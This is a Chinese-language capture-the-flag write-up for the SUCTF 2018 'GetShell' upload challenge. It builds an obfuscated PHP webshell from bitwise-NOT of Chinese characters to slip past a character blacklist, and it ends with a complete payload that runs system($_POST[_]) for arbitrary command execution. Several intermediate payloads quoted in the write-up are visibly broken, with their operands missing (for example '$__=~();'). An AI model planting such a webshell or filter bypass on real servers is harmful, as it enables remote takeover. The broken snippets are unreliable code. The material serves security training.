[SUCTF 2018]GetShell

在这里插入图片描述
在这里插入图片描述
查看源代码发现源码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){    保存上传文件在临时文件目录
    $data=substr($contents,5);       切片从第五个字符开始之后的所有字符
    foreach ($black_char as $b) {             看看有没有黑名单有就不给过
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

在这里插入图片描述
随便上传了个文件发现后缀被转为php也就是说会被解析成php文件
在这里插入图片描述
那么我们要构造一个shell
内容为

assert($_POST[_]);
这个也是盲猜的因为局限性很大必须是php7.2之前的版本才可以,那么还是搞个system来用吧
system($_POST[_]);

这道题原理不难就是fuzz比较难做
先利用ascii原理生成字典

for i in range(32,127):
    print(chr(i))
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];//system
$____=~[$__].~[$__].~[$__].~[$__].~[$__];//_POST

$___($$____[_]);//system($_POST[_]);
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];$____=~[$__].~[$__].~[$__].~[$__].~[$__];$___($$____[_]);
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~();
$___=$__[$_];
$__=~();
$___.=$__[$_].$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$__=~();
$___.=$__[$_];
$____=~(~(_));
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$__=~();
$____.=$__[$_];
$_=$$____;
$___($_[_]);

在这里插入图片描述
诶那么这里思路就很明确了
基本是和自增差不多的只不多我们这里使用取反来做

$ (  )  .  ;  =  [  ]  _  ~ 

没有东西怎么构造字符串,那么汉字也是在可控范围内的,这是一个特性

<?php
$str = "在这场绿色转型的浪潮中,生态智慧成为了关键词。未来的城市不再仅仅是钢筋水泥的丛林,而是自然与技术完美融合的生态乐园。绿色建筑,利用太阳能板、雨水收集系统与垂直花园,不仅减少了对自然资源的依赖,还提升了居民的生活质量。智能电网通过高效分配可再生能源,确保了电力供应的清洁与稳定,而无人驾驶公共交通系统则大幅降低了碳排放,重新定义了都市出行的方式。

循环经济的概念深入城市规划的核心,废弃物不再是负担,而是资源循环的宝贵原料。城市垃圾通过高科技分类与处理,转化为能源或新型材料,实现了真正的“变废为宝”。同时,城市农业的兴起,让高楼大厦的屋顶和空闲空间变身成为都市绿洲,为市民提供了新鲜、无公害的食材,缩短了食物供应链,促进了社区的自给自足能力。

然而,这一切变革并非一蹴而就,它需要政策制定者的远见卓识、科学家的不懈探索、企业家的创新实践以及每一位公民的积极参与。公众教育与意识提升成为推动绿色转型不可或缺的力量,通过学校教育、媒体宣传和社会活动,增强大众对于环境保护的责任感与行动力。

面对气候变化的严峻挑战,未来的城市还将进一步探索气候适应性设计,比如建设能够抵御极端天气事件的基础设施,以及发展蓝色基础设施,保护和恢复城市水系,以应对海平面上升和城市内涝问题。

总而言之,未来城市的绿色转型是一场全方位、多层次的社会运动,它要求我们在尊重自然法则的同时,发挥人类的创造力与合作精神。这不仅是对现有生活方式的一次深刻反思,更是对未来世代的一份责任与承诺。在这个过程中,每一座城市、每一个社区乃至每一个个体的选择与努力,都将汇聚成推动地球走向更加绿色、健康、繁荣未来的强大力量。";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');

for($i=0; $i<$num;$i++){
 $worl = mb_substr($str,$i,1,'utf-8');
 $ans = ~$worl;
 if($ans[1]=='s' || $ans[1]=='y'|| $ans[1]=='e' || $ans[1]=='m' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T' ||$ans[1]=='_'){
  echo $ans[1];
  echo $worl;
  echo "<br>";
}
}
?>
e的<br>P词<br>e的<br>y再<br>m钢<br>O水<br>e的<br>e的<br>O水<br>O少<br>P对<br>e的<br>O民<br>e的<br>T高<br>y再<br>e的<br>e的<br>e的<br>e的<br>_核<br>y再<br>t担<br>e的<br>T高<br>s化<br>e的<br>y农<br>e的<br>T高<br>e的<br>m和<br>O民<br>e的<br>s区<br>e的<br>O就<br>e的<br>P识<br>e的<br>e的<br>P每<br>O民<br>e的<br>P识<br>e的<br>_校<br>m和<br>P对<br>e的<br>P对<br>O气<br>s化<br>e的<br>s挑<br>e的<br>O将<br>O气<br>P比<br>T端<br>O气<br>e的<br>m和<br>O水<br>P对<br>m和<br>y内<br>e的<br>S次<br>e的<br>O尊<br>e的<br>s挥<br>e的<br>P对<br>e的<br>S次<br>P对<br>e的<br>P诺<br>P每<br>P每<br>s区<br>P每<br>e的<br>t择<br>O将<br>e的<br>

上面两个payload是别的师傅构造的这个是我自己构造的


<?php
$_ = [];
//echo $_;
$__ = $_ . $_;
//echo $__;
$_ = ($_ == $__);   //false 0 没啥用可以不写
$__ = ($_ == $_);   //true 1 全部都用的这个
// var_dump($_);
// var_dump($__);
$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];
//var_dump($___);
$____=~[$__].~[$__].~[$__].~[$__].~[$__]; 
var_dump($____);
//$___($$____[_]);
?>

构造$_POST的时候不能直接写我就是贪了然后浪费了一些时间
在这里插入图片描述
在这里插入图片描述

诶他把<>?过滤了怎么办呢,没关系,我们只要有php头即可正常解析
最后把格式调整一下上传的是这个

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];$___($$____[_]);

那么这道题就可以任意命令执行了
在这里插入图片描述

相关推荐

  1. [安洵杯 2019]game & [SUCTF2018]babyre

    2024-07-19 23:12:04       51 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-19 23:12:04       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-19 23:12:04       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-19 23:12:04       45 阅读
  4. Python语言-面向对象

    2024-07-19 23:12:04       55 阅读

热门阅读

  1. 双指针算法入门 —— 常见例题

    2024-07-19 23:12:04       13 阅读
  2. 什么是云服务器?

    2024-07-19 23:12:04       17 阅读
  3. C++知识点总结(48):树与二叉树

    2024-07-19 23:12:04       15 阅读
  4. 设计模式--组合模式

    2024-07-19 23:12:04       16 阅读
  5. 每日一题——第二十一题

    2024-07-19 23:12:04       18 阅读
  6. springboot 重新注册 bean

    2024-07-19 23:12:04       22 阅读
  7. 什么是分布式事务?有哪些实现方案?

    2024-07-19 23:12:04       14 阅读